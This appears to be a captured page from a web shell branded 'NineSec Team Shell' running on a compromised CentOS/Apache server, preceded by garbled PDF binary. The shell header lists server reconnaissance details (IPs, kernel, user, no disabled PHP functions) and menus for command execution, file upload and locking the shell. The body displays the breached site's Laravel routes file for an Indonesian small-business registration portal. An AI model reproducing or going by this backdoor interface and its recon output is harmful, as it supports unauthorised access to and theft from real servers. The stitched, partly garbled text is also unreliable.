%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.58.253
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0775) :  /var/www/html/lfx/routes/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /var/www/html/lfx/routes/web.php
<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/clear-cache', function() {
    Artisan::call('cache:clear');
    return "Cache is cleared";
});

# --- Frontend ---
/**Landing website */
Route::get('/', 'WebsiteController@home')->name('frontend');

/**Content website */
Route::group(['prefix' => 'content', 'as' => 'content.'], function () {
	Route::get('/page/{id}/{slug}', 'WebsiteController@page')->name('page');
	Route::get('/section/{id}/{slug}', 'WebsiteController@section')->name('section');
	Route::get('/post/{id}/{slug}', 'WebsiteController@post')->name('post');
});

/**Album website */
Route::group(['prefix' => 'album', 'as' => 'album.'], function () {
	Route::get('/', 'WebsiteController@album')->name('index');
	Route::get('/detail/{id}', 'WebsiteController@detailAlbum')->name('detail');
});

/**Playlist website */
Route::group(['prefix' => 'playlist', 'as' => 'playlist.'], function () {
	Route::get('/', 'WebsiteController@playlist')->name('index');
});

/**Inquiry website*/
Route::group(['prefix' => 'inquiry', 'as' => 'inquiry.'], function () {
	Route::get('/{slug}', 'WebsiteController@inquiry')->name('index');
	Route::post('/send', 'WebsiteController@formInquiry')->name('store');
});

# --- About Login ---
#Auth::routes();
Route::middleware(['web', 'beforeLogin'])->group(function () {
	/**Login */
	Route::group(['prefix' => 'login', 'as' => 'login.'], function () {
		Route::get('/', 'loginController@index')->name('index');
		Route::post('/', 'loginController@login')->name('proccess');
	});

	/**Forgot password */
	Route::group(['prefix' => 'forgot', 'as' => 'forgot.'], function () {
		Route::get('/', 'loginController@forgot')->name('index');
		Route::post('/process', 'loginController@send')->name('proccess');
		Route::get('/reset/{id}/{key}', 'loginController@show')->name('reset');
		Route::post('/reset/process', 'loginController@update')->name('reset.proccess');
	});

	/**Register */
	Route::group(['prefix' => 'registrasi', 'as' => 'registrasi.'], function () {
		/**UMKM */
		Route::get('/umkm', 'umkmController@index')->name('umkm');
		Route::post('/umkm', 'umkmController@register')->name('umkm.proccess');
		Route::get('/umkm/active/{email_key}', 'umkmController@active')->name('umkm.active');

		/**Pendamping */
		Route::get('/pendamping', 'pendampingController@index')->name('pendamping');
		Route::post('/pendamping', 'pendampingController@register')->name('pendamping.proccess');
		Route::get('/pendamping/active/{email_key}', 'pendampingController@active')->name('pendamping.active');
	});
});

# --- Backend --
Route::group(['middleware' => ['afterLogin']], function () {
	/**Profile */
	Route::group(['prefix' => 'users', 'as' => 'users.'], function () {
		Route::get('/profile', 'userController@profile')->name('profile');
		Route::put('/update/{id}', 'userController@updateProfile')->name('update');
	});

	/**Logout */
	Route::get('logout', 'loginController@logout')->name('logout');

	/**Dashboard */
	Route::group(['prefix' => 'dashboard', 'as' => 'dashboard.'], function () {
		/**Dashboard */
		Route::get('/', 'dashboardController@index')->name('index');

		/**Super admin */
		Route::group(['middleware' => ['afterLogin:0,99']], function () {
			/**Kategori */
			Route::get('/kategori', 'kategoriController@index')->name('kategori.index');
			Route::get('/kategori/create', 'kategoriController@create')->name('kategori.create');
			Route::post('/kategori', 'kategoriController@store')->name('kategori.store');
			Route::get('/kategori/{id}', 'kategoriController@edit')->name('kategori.edit');
			Route::put('/kategori/{id}', 'kategoriController@update')->name('kategori.update');
			Route::delete('/kategori/{id}', 'kategoriController@delete')->name('kategori.destroy');

			/**Fasilitas */
			Route::get('/fasilitas', 'fasilitasController@index')->name('fasilitas.index');
			Route::get('/fasilitas/create', 'fasilitasController@create')->name('fasilitas.create');
			Route::post('/fasilitas', 'fasilitasController@store')->name('fasilitas.store');
			Route::get('/fasilitas/{id}', 'fasilitasController@edit')->name('fasilitas.edit');
			Route::put('/fasilitas/{id}', 'fasilitasController@update')->name('fasilitas.update');
			Route::delete('/fasilitas/{id}', 'fasilitasController@delete')->name('fasilitas.destroy');

			/**Legalitas */
			Route::get('/legalitas', 'legalitasController@index')->name('legalitas.index');
			Route::get('/legalitas/create', 'legalitasController@create')->name('legalitas.create');
			Route::post('/legalitas', 'legalitasController@store')->name('legalitas.store');
			Route::get('/legalitas/{id}', 'legalitasController@edit')->name('legalitas.edit');
			Route::put('/legalitas/{id}', 'legalitasController@update')->name('legalitas.update');
			Route::delete('/legalitas/{id}', 'legalitasController@delete')->name('legalitas.destroy');

			/**Sertifikat */
			Route::get('/sertifikat', 'sertifikatController@index')->name('sertifikat.index');
			Route::get('/sertifikat/create', 'sertifikatController@create')->name('sertifikat.create');
			Route::post('/sertifikat', 'sertifikatController@store')->name('sertifikat.store');
			Route::get('/sertifikat/{id}', 'sertifikatController@edit')->name('sertifikat.edit');
			Route::put('/sertifikat/{id}', 'sertifikatController@update')->name('sertifikat.update');
			Route::delete('/sertifikat/{id}', 'sertifikatController@delete')->name('sertifikat.destroy');

			/**Sektor */
			Route::get('/sektor', 'sektorController@index')->name('sektor.index');
			Route::get('/sektor/create', 'sektorController@create')->name('sektor.create');
			Route::post('/sektor', 'sektorController@store')->name('sektor.store');
			Route::get('/sektor/{id}', 'sektorController@edit')->name('sektor.edit');
			Route::put('/sektor/{id}', 'sektorController@update')->name('sektor.update');
			Route::delete('/sektor/{id}', 'sektorController@delete')->name('sektor.destroy');

			/**User Manager */
			Route::get('/user_manager', 'userController@index')->name('user.index');
			Route::get('/user_manager/create', 'userController@create')->name('user.create');
			Route::post('/user_manager', 'userController@store')->name('user.store');
			Route::get('/user_manager/{id}', 'userController@edit')->name('user.edit');
			Route::put('/user_manager/{id}', 'userController@update')->name('user.update');
			Route::delete('/user_manager/{id}', 'userController@delete')->name('user.destroy');

			/**Admin Manager */
			Route::get('/admin_manager', 'adminController@index')->name('admin.index');
			Route::get('/admin_manager/create', 'adminController@create')->name('admin.create');
			Route::post('/admin_manager', 'adminController@store')->name('admin.store');
			Route::get('/admin_manager/{id}', 'adminController@edit')->name('admin.edit');
			Route::put('/admin_manager/{id}', 'adminController@update')->name('admin.update');
			Route::delete('/admin_manager/{id}', 'adminController@delete')->name('admin.destroy');

			/**Post */
			Route::get('/post', 'postController@index')->name('post.index');
			Route::get('/post/create', 'postController@create')->name('post.create');
			Route::post('/post', 'postController@store')->name('post.store');
			Route::get('/post/{id}', 'postController@edit')->name('post.edit');
			Route::put('/post/{id}', 'postController@update')->name('post.update');
			Route::delete('/post/{id}', 'postController@delete')->name('post.destroy');
			Route::put('/post/position/{type}', 'postController@position')->name('post.position');
			Route::get('/post/visitor/{type}/{id}', 'postController@visitor')->name('post.visitor');

			/**Laporan Pendamping */
			Route::get('/laporan', 'laporanController@list')->name('laporan.index');
			Route::get('/laporan/{id}', 'laporanController@show')->name('laporan.show');
			Route::get('/laporan/{id}/{type}', 'laporanController@detail')->name('laporan.detail');

			/**API Client */
			Route::get('/api_client', 'api_clientController@index')->name('api.client.index');
			Route::get('/api_client/create', 'api_clientController@create')->name('api.client.create');
			Route::post('/api_client', 'api_clientController@store')->name('api.client.store');
			Route::get('/api_client/{id}', 'api_clientController@edit')->name('api.client.edit');
			Route::put('/api_client/{id}', 'api_clientController@update')->name('api.client.update');
			Route::delete('/api_client/{id}', 'api_clientController@delete')->name('api.client.destroy');
		});

		/**UMKM & Pendamping List */
		Route::group(['middleware' => ['afterLogin:0,99,97,96']], function () {
			Route::get('/umkm', 'umkmController@list')->name('umkm.index');
			Route::get('/umkm/view/{id}', 'umkmController@view')->name('umkm.view');
			Route::put('/umkm/update/{id}', 'umkmController@updateByAdmin')->name("umkm.update");
			Route::get('/umkm/export/{type}', 'umkmController@exportExcel')->name("umkm.export.excel");

			Route::get('/pendamping', 'pendampingController@list')->name('pendamping.index');
			Route::get('/pendamping/view/{id}', 'pendampingController@view')->name("pendamping.view");
			Route::put('/pendamping/update/{id}', 'pendampingController@updateByAdmin')->name("pendamping.update");
			Route::get('/pendamping/export/{type}', 'pendampingController@exportExcel')->name("pendamping.export.excel");
		});

		/**Admin Pendaftaran */
		Route::group(['middleware' => ['afterLogin:0,99,97']], function () {
			/**Aktivasi */
			Route::put('/user/active/{id}', 'userController@active');
			Route::put('/user/in-active/{id}', 'userController@inActive');

			/**UKM */
			Route::delete('/umkm/{id}', 'umkmController@delete')->name("umkm.delete.proc");
			Route::get('/umkm/lock', 'umkmController@lock')->name("umkm.lock");
			Route::get('/umkm/unlock', 'umkmController@unlock')->name("umkm.unlock");
			Route::get('/umkm/evaluation', 'umkmController@evaluation')->name("umkm.evaluation");
			Route::get('/umkm/terpilih', 'umkmController@listTerpilih')->name('umkm.terpilih.index');
			Route::put('/umkm/ubah/status/{type}/{id}', 'umkmController@changeStatus')->name("umkm.ubah.status");
			Route::get('/umkm/print/{id}', 'umkmController@print')->name("umkm.print");
			Route::get('/umkm/berdasarkan/{by}', 'umkmController@get_by')->name("umkm.list");
			Route::get('/umkm/send_to_all', 'umkmController@send_again')->name("umkm.re-send.verification.key");
			Route::put('/umkm/import/{type}', 'umkmController@import')->name("umkm.import");
			Route::get('/umkm/fix/alamat', 'umkmController@fixAlamat')->name("umkm.fix.alamat");

			/**Pendamping */
			Route::delete('/pendamping/{id}', 'pendampingController@delete')->name("pendamping.delete.proc");
			Route::get('/pendamping/lock', 'pendampingController@lock')->name("pendamping.lock");
			Route::get('/pendamping/unlock', 'pendampingController@unlock')->name("pendamping.unlock");
			Route::get('/pendamping/evaluation', 'pendampingController@evaluation')->name("pendamping.evaluation");
			Route::get('/pendamping/terpilih', 'pendampingController@listTerpilih')->name('pendamping.terpilih.index');
			Route::put('/pendamping/ubah/status/{type}/{id}', 'pendampingController@changeStatus')->name("pendamping.ubah.status");
			Route::get('/pendamping/print/{id}', 'pendampingController@print')->name("pendamping.print");
			Route::get('/pendamping/fix/alamat', 'pendampingController@fixAlamat')->name("pendamping.fix.alamat");

			/**Sertifikat UMKM*/
			Route::get('/upload-sertifikat/umkm', 'umkmController@sertifikat')->name('sertifikat.umkm.index');
			Route::get('/upload-sertifikat/umkm/create', 'umkmController@createSertifikat')->name('sertifikat.umkm.create');
			Route::post('/upload-sertifikat/umkm', 'umkmController@storeSertifikat');
			Route::get('/upload-sertifikat/{id}/edit', 'umkmController@editSertifikat');
			Route::put('/upload-sertifikat/{id}', 'umkmController@updateSertifikat');
			Route::delete('/upload-sertifikat/{id}', 'umkmController@destroySertifikat');

			/**Sertifikat Pendamping */
			Route::get('/upload-sertifikat/pendamping', 'pendampingController@sertifikat')->name('sertifikat.pendamping.index');
			Route::get('/upload-sertifikat/pendamping/create', 'pendampingController@createSertifikat')->name('sertifikat.pendamping.create');
			Route::post('/upload-sertifikat/pendamping', 'pendampingController@storeSertifikat');
			Route::get('/upload-sertifikat-pendamping/{id}/edit', 'pendampingController@editSertifikat');
			Route::put('/upload-sertifikat-pendamping/{id}', 'pendampingController@updateSertifikat');
			Route::delete('/upload-sertifikat-pendamping/{id}', 'pendampingController@destroySertifikat');

			/**Gelombang */
			Route::get('/gelombang', 'gelombangController@index')->name('gelombang.index');
			Route::get('/gelombang/create', 'gelombangController@create')->name('gelombang.create');
			Route::post('/gelombang', 'gelombangController@store')->name('gelombang.store');
			Route::get('/gelombang/{id}', 'gelombangController@edit')->name('gelombang.edit');
			Route::put('/gelombang/{id}', 'gelombangController@update')->name('gelombang.update');
			Route::delete('/gelombang/{id}', 'gelombangController@delete')->name('gelombang.destroy');

			/**Upload Document */
			Route::get('/uploaded/document', 'uploaded_docController@index')->name('uploaded.doc.index');
			Route::get('/uploaded/document/{id}', 'uploaded_docController@edit')->name("uploaded.doc.edit");
			Route::put('/uploaded/document/{id}', 'uploaded_docController@update')->name("uploaded.doc.update.status");
			Route::put('/uploaded/document/{type}/{id}', 'uploaded_docController@upload')->name("uploaded.doc.upload");
			Route::delete('/uploaded/document/{id}', 'uploaded_docController@delete')->name("uploaded.doc.delete");
		});

		/**Admin Penilai */
		// Route::group(['middleware' => ['afterLogin:96']], function () {
		// 	/**UMKM */
		// 	Route::get('/umkm', 'umkmController@list')->name('umkm.index');
		// 	Route::get('/umkm/terpilih', 'umkmController@listTerpilih')->name('umkm.terpilih.index');
		// 	Route::get('/umkm/view/{id}', 'umkmController@view')->name('umkm.view');
		// 	Route::put('/umkm/update/{id}', 'umkmController@updateByAdmin')->name("umkm.update");
		// 	Route::get('/umkm/print/{id}', 'umkmController@print')->name("umkm.print");
		// 	Route::get('/umkm/export/{type}', 'umkmController@exportExcel')->name("umkm.export.excel");

		// 	/**Pendamping */
		// 	Route::get('/pendamping', 'pendampingController@list')->name('pendamping.index');
		// 	Route::get('/pendamping/terpilih', 'pendampingController@listTerpilih')->name('pendamping.terpilih.index');
		// 	Route::get('/pendamping/view/{id}', 'pendampingController@view')->name("pendamping.view");
		// 	Route::put('/pendamping/update/{id}', 'pendampingController@updateByAdmin')->name("pendamping.update");
		// 	Route::get('/pendamping/print/{id}', 'pendampingController@print')->name("pendamping.print");
		// 	Route::get('/pendamping/export/{type}', 'pendampingController@exportExcel')->name("pendamping.export.excel");
		// });
	});

	/**UMKM */
	Route::group(['middleware' => ['afterLogin:1']], function () {
		Route::group(['prefix' => 'umkm', 'as' => 'umkm.'], function () {
			Route::get('/', 'dashboardController@indexUmkm')->name('index');
			Route::get('/data_umkm', 'umkmController@show')->name('show');
			Route::put('/data_umkm/{id}', 'umkmController@update')->name('update');

			Route::get('/post', 'postController@listByUmkm')->name('post.index');
			Route::get('/post/{id}', 'postController@viewByUmkm')->name('post.view');
			Route::put('/post/{id}', 'postController@updateByUmkm')->name('post.view.add');

			Route::get('/sertifikat', 'umkmController@sertifikat')->name('sertifikat.index');
			Route::get('/sertifikat/download/{id}', 'umkmController@downloadSertifikat')->name('sertifikat.download');
		});
	});

	/**Pendamping */
	Route::group(['middleware' => ['afterLogin:2']], function () {
		Route::group(['prefix' => 'pendamping', 'as' => 'pendamping.'], function () {
			Route::get('', 'dashboardController@indexPendamping')->name('index');
			Route::get('/data_pendamping', 'pendampingController@show')->name('show.data');
			Route::put('/data_pendamping/{id}', 'pendampingController@update')->name('update.data');

			Route::get('/laporan', 'laporanController@index')->name('laporan.index');
			Route::get('/laporan/create', 'laporanController@create')->name('laporan.form.create');
			Route::post('/laporan', 'laporanController@store')->name('laporan.create.proc');
			Route::get('/laporan/{id}', 'laporanController@edit')->name('laporan.update.form');
			Route::put('/laporan/{id}', 'laporanController@update')->name('laporan.update.proc');
			Route::delete('/laporan/{id}', 'laporanController@delete')->name('laporan.delete.proc');

			Route::get('/post', 'postController@listByPendamping')->name('post.index');
			Route::get('/post/{id}', 'postController@viewByPendamping')->name('post.view');
			Route::put('/post/{id}', 'postController@updateByPendamping')->name('post.add.viewer');

			Route::get('/dampingan', 'pendampingController@dampingan')->name('dampingan.index');
			Route::get('/rekrut', 'pendampingController@dampingan')->name('dampingan.rekrut');
			Route::put('/rekrut/{id}', 'pendampingController@rekrut')->name('dampingan.terima');
			Route::put('/batal/{id}', 'pendampingController@batalRekrut')->name('dampingan.batal');

			Route::get('/sertifikat', 'pendampingController@sertifikat')->name('sertifikat.index');
			Route::get('/sertifikat/download/{id}', 'pendampingController@downloadSertifikat')->name('sertifikat.download');
		});
	});

	/**Website */
	Route::group(['middleware' => ['afterLogin:0,99,98']], function () {
		Route::group(['prefix' => 'admin', 'as' => 'admin.'], function () {
			/**Pengumuman */
			Route::get('/pengumuman', 'PengumumanController@index')->name('pengumuman.index');
			Route::get('/pengumuman/create', 'PengumumanController@create')->name('pengumuman.create');
			Route::post('/pengumuman', 'PengumumanController@store')->name('pengumuman.store');
			Route::get('/pengumuman/{id}/edit', 'PengumumanController@edit')->name('pengumuman.edit');
			Route::put('/pengumuman/{id}', 'PengumumanController@update')->name('pengumuman.update');
			Route::delete('/pengumuman/{id}', 'PengumumanController@destroy')->name('pengumuman.destroy');
			Route::put('/pengumuman/status/{id}', 'PengumumanController@status')->name('pengumuman.status');

			/**Page */
			Route::get('/page', 'PageController@index');
			Route::get('/page/create', 'PageController@create');
			Route::post('/page', 'PageController@store');
			Route::get('/page/{id}/edit', 'PageController@edit');
			Route::put('/page/{id}', 'PageController@update');
			Route::delete('/page/{id}', 'PageController@destroy');
			Route::put('/page/publish/{id}', 'PageController@publish');

			/**Section */
			Route::get('/content', 'SectionController@index');
			Route::get('/content/create', 'SectionController@create');
			Route::post('/content', 'SectionController@store');
			Route::get('/content/{id}/edit', 'SectionController@edit');
			Route::put('/content/{id}', 'SectionController@update');
			Route::delete('/content/{id}', 'SectionController@destroy');

			/**Category */
			Route::get('/content/category/{id}', 'CategoryController@index');
			Route::get('/category/create', 'CategoryController@create');
			Route::post('/category', 'CategoryController@store');
			Route::get('/category/{id}/edit', 'CategoryController@edit');
			Route::put('/category/{id}', 'CategoryController@update');
			Route::delete('/category/{id}', 'CategoryController@destroy');

			/**Post */
			Route::get('/content/post/{id}', 'PostWebController@index');
			Route::get('/post/create', 'PostWebController@create');
			Route::post('/post', 'PostWebController@store');
			Route::get('/post/{id}/edit', 'PostWebController@edit');
			Route::put('/post/{id}', 'PostWebController@update');
			Route::delete('/post/{id}', 'PostWebController@destroy');
			Route::put('/post/publish/{id}', 'PostWebController@publish');

			//album
			Route::get('/album', 'AlbumController@index');
			Route::get('/album/create', 'AlbumController@create');
			Route::post('/album', 'AlbumController@store');
			Route::get('/album/{id}/edit', 'AlbumController@edit');
			Route::put('/album/{id}', 'AlbumController@update');
			Route::delete('/album/{id}', 'AlbumController@destroy');
			Route::get('/album/photo/{id}', 'AlbumController@photo');
			Route::post('/photo/upload', 'AlbumController@storePhoto');
			Route::post('/photo/multiple', 'AlbumController@storePhotoMultiple');
			Route::put('/photo/edit/{id}', 'AlbumController@updatePhoto');
			Route::put('/photo/position/{id}/{position}', 'AlbumController@position');
			Route::delete('/photo/delete/{id}', 'AlbumController@destroyPhoto');

			//playlist
			Route::get('/playlist', 'PlaylistController@index');
			Route::get('/playlist/create', 'PlaylistController@create');
			Route::post('/playlist', 'PlaylistController@store');
			Route::get('/playlist/{id}/edit', 'PlaylistController@edit');
			Route::put('/playlist/{id}', 'PlaylistController@update');
			Route::delete('/playlist/{id}', 'PlaylistController@destroy');
			Route::get('/playlist/video/{id}', 'PlaylistController@video');
			Route::post('/video/upload', 'PlaylistController@storeVideo');
			Route::put('/video/edit/{id}', 'PlaylistController@updateVideo');
			Route::put('/video/position/{id}/{position}', 'PlaylistController@position');
			Route::delete('/video/delete/{id}', 'PlaylistController@destroyVideo');

			//inquiry
			Route::get('/inquiry', 'InquiryController@index');
			Route::get('/inquiry/create', 'InquiryController@create');
			Route::post('/inquiry', 'InquiryController@store');
			Route::get('/inquiry/{id}/edit', 'InquiryController@edit');
			Route::put('/inquiry/{id}', 'InquiryController@update');
			Route::get('/inquiry/contact/{id}', 'InquiryController@contact');

			//module website setting
			Route::get('/web-config', 'ConfigController@webConf');
			Route::put('/web-config/update', 'ConfigController@updateConf');
			Route::put('/web-config/banner', 'ConfigController@changeBanner');
			Route::get('/web-common', 'ConfigController@webCommon');
		});
	});

	/**Ajax pendamping & umkm */
	Route::post('ajax_data/get/{type}', 'ajaxdataController@show')->name("get.ajax.data");
    Route::post('ajax_data/save/{type}', 'ajaxdataController@save')->name("save.ajax.data");
});

/**Download */
Route::get('download/umkm/{type}', 'umkmController@download_file')->name("download.umkm.file");
Route::get('download/pendamping/{type}', 'pendampingController@download_file')->name("download.pendamping.file");

//sesi
Route::group(['middleware' => ['web', 'afterLogin:96']], function () {
	Route::group(['prefix' => 'sesi'], function () {
		Route::group(['prefix' => 'wawancara', 'as' => 'wawancara.'], function () {
			Route::get('/umkm', 'WawancaraUmkmController@index')->name('umkm');
			Route::get('/umkm/create', 'WawancaraUmkmController@create')->name('umkm.create');
			Route::post('/umkm', 'WawancaraUmkmController@store')->name('umkm.store');
			Route::get('/umkm/{id}/edit', 'WawancaraUmkmController@edit')->name('umkm.edit');
			Route::put('/umkm/{id}', 'WawancaraUmkmController@update')->name('umkm.update');
			Route::get('umkm/export', 'WawancaraUmkmController@export')->name('umkm.export');

			Route::get('/pendamping', 'WawancaraPendampingController@index')->name('pendamping');
			Route::get('/pendamping/create', 'WawancaraPendampingController@create')->name('pendamping.create');
			Route::post('/pendamping', 'WawancaraPendampingController@store')->name('pendamping.store');
			Route::get('/pendamping/{id}/edit', 'WawancaraPendampingController@edit')->name('pendamping.edit');
			Route::put('/pendamping/{id}', 'WawancaraPendampingController@update')->name('pendamping.update');
		});

		Route::group(['prefix' => 'administrasi', 'as' => 'administrasi.'], function () {
			Route::get('/umkm', 'AdministrasiUmkmController@index')->name('umkm');
			Route::get('/umkm/create', 'AdministrasiUmkmController@create')->name('umkm.create');
			Route::post('/umkm', 'AdministrasiUmkmController@store')->name('umkm.store');
			Route::get('/umkm/{id}/edit', 'AdministrasiUmkmController@edit')->name('umkm.edit');
			Route::put('/umkm/{id}', 'AdministrasiUmkmController@update')->name('umkm.update');

			Route::get('/pendamping', 'AdministrasiPendampingController@index')->name('pendamping');
			Route::get('/pendamping/create', 'AdministrasiPendampingController@create')->name('pendamping.create');
			Route::post('/pendamping', 'AdministrasiPendampingController@store')->name('pendamping.store');
			Route::get('/pendamping/{id}/edit', 'AdministrasiPendampingController@edit')->name('pendamping.edit');
			Route::put('/pendamping/{id}', 'AdministrasiPendampingController@update')->name('pendamping.update');
		});
	});
});

/**API */
Route::get('dms', 'apiDashboardController@index')->name("api.dashboard");
Route::get('dms/umkm', 'apiDashboardController@umkm')->name("api.dashboard.umkm");
Route::get('dms/pendamping', 'apiDashboardController@pendamping')->name("api.dashboard.pendamping");
Route::middleware(['web', 'checkApiAccess'])->group(function () {
	Route::get('api/umkm', 'umkmController@api')->name("api.umkm");
	Route::get('api/umkm/statistik', 'umkmController@apiStatistik')->name("api.umkm.statistik");
	Route::get('api/pendamping', 'pendampingController@api')->name("api.pendamping");
	Route::get('api/pendamping/statistik', 'pendampingController@apiStatistik')->name("api.pendamping.statistik");
	Route::get('api/regency', 'regencieController@api')->name("api.kota");
	Route::get('api/district', 'districtController@api')->name("api.kecamatan");
	Route::get('api/village', 'villageController@api')->name("api.desa");
	Route::get('api/province', 'provinceController@api')->name("api.provinsi");
	Route::get('api/kategori', 'kategoriController@api')->name("api.kategori");
});
Route::get('test', 'testController@index')->name("test");

NineSec Team - 2022